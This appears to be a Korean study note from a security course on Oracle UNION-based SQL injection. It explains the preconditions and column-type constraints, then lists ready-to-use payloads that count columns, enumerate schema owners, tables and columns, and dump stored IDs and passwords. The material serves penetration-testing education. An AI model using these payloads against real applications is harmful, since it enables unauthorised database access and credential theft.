ORACLE Union Based

Union 기반 SQL 구문을 전송하고 공격자가 의도한 데이터를 받는 공격

 

1. 웹 어플리케이션 조건

사용자 입력값을 통해 완성된 커리로 데이터가 DB에서 반환되어야 한다

 

2. 다양한 제약 조건

대용량 데이터 타입은 중복 제거가 불가능하다 ( 단, MYSQL 예외 )

대용량 데이터 타입은 정렬이 불가능하다 ( 단, MYSQL 예외 )

하위 SELECT 절의 컬럼 개수는 반드시 상위 SELECT 컬럼 개수와 일치해야한다.

Union으로 조회하려는 데이터와 추출하려고 하는 데이터의 타입이 일치해야한다( 단,MYSQL 예외 )

 

MYSQL에서 사용하는 대용량 타입 : text, ntext,image 등

ORACLE에서 사용하는 대용량 타입 : clob , nclob, bolob 등

 

Union과 Union All 차이점

Union : 중복 제거 기능이 포함

Union All : 중복 제거 기능이 불 포함

 

Union Based가 불가능한 공격들

- ID 중복 조회 기능 : 아이디 중복조회 같은 경우 DB 반환값이 아닌 서버 반환값 > Union BAsed 공격이 불가능

[ 사용할 수 없는 아이디 입니다 ] : 서버 반환 값 > Union 공격 불가능

['kitri' 계정은 이미 존재하는 계정 입니다.] : DB 반환 값 > Union 공격 가능

ID : kitri [중복조회]
알고리즘
1. SELECT id FROM table WHERE id='kitri'
2. if문으로 1개의 컬럼이 나올 경우 >  [ 'kitri' 계정은 이미 존재하는 계정입니다. ]
3. if문으로 0개의 컬럼이 나올 경우 > [ 사용 가능한 계정입니다. ]

---

공격 프로세스

1. Order By절로 구문 실행 확인

2. Union 절로 구문 실행 확인

3. 출력 포지션을 파악

 

' order by 3 --
' order by 7 --
# 3번 항목은 대용량 타입이고, 7개의 컬럼을 가지고 있다

---

에러

# Union 중복 제거를 하기 때문에 3번째 컬럼이 대용량 타입이라 불가능
' Union SELECT null,null,null,null,null,null,null FROM dual --

# 오류 고치기
' Union All SELECT null,null,null,null,null,null,null FROM dual --

# 데이터 타입이 일치하지 않음 > 오류
' Union All SELECT '1',null,null,null,null,null,null FROM dual --

# 오류 고치기
' Union All SELECT 1,null,null,null,null,null,null FROM dual --

---

# 출력 가능한 포지션 확인
'and 1=2 Union All SELECT 1,'2',null,'4',null,null,null FROM dual --

---

'and 1=2 Union All SELECT DISTINCT 1,owner,null,'4',null,null,null FROM ALL_tables --
# 대용량 타입이 중복제거가 되어 에러 발생

# 사용자 이름 목록화 중복 제거
'and 1=2 Union All SELECT 1,owner,null,'4',null,null,null FROM (SELECT DISTINCT owner FROM ALL_tables) --

# table_name과 owner 중복 제거 후 출력
'and 1=2 Union All SELECT 1,owner,null,table_name,null,null,null FROM (SELECT DISTINCT owner,table_name FROM ALL_tables) --

---

# 테이블 목록화 > 테이블은 중복이 되지 않기 때문에 중복 제거 할 필요가 없다
'and 1=2 Union All SELECT 1,table_name,null,'4',null,null,null FROM all_tables WHERE owner='C##TEST' --

---

# 컬럼 목록화
'and 1=2 Union All SELECT 1,column_name,null,'4',null,null,null FROM all_tab_columns WHERE owner='C##TEST' and table_name='TEST1' --

---

# 데이터 목록화
'and 1=2 Union All SELECT idx,id,null,pw,null,null,null FROM C##TEST.TEST1 --

---

 

# 연결 연산자 사용하여 여러 데이터 합쳐서 조회하기
'and 1=2 Union All SELECT idx,id||'#####'||pw,null,phone,null,null,null FROM C##TEST.TEST1 --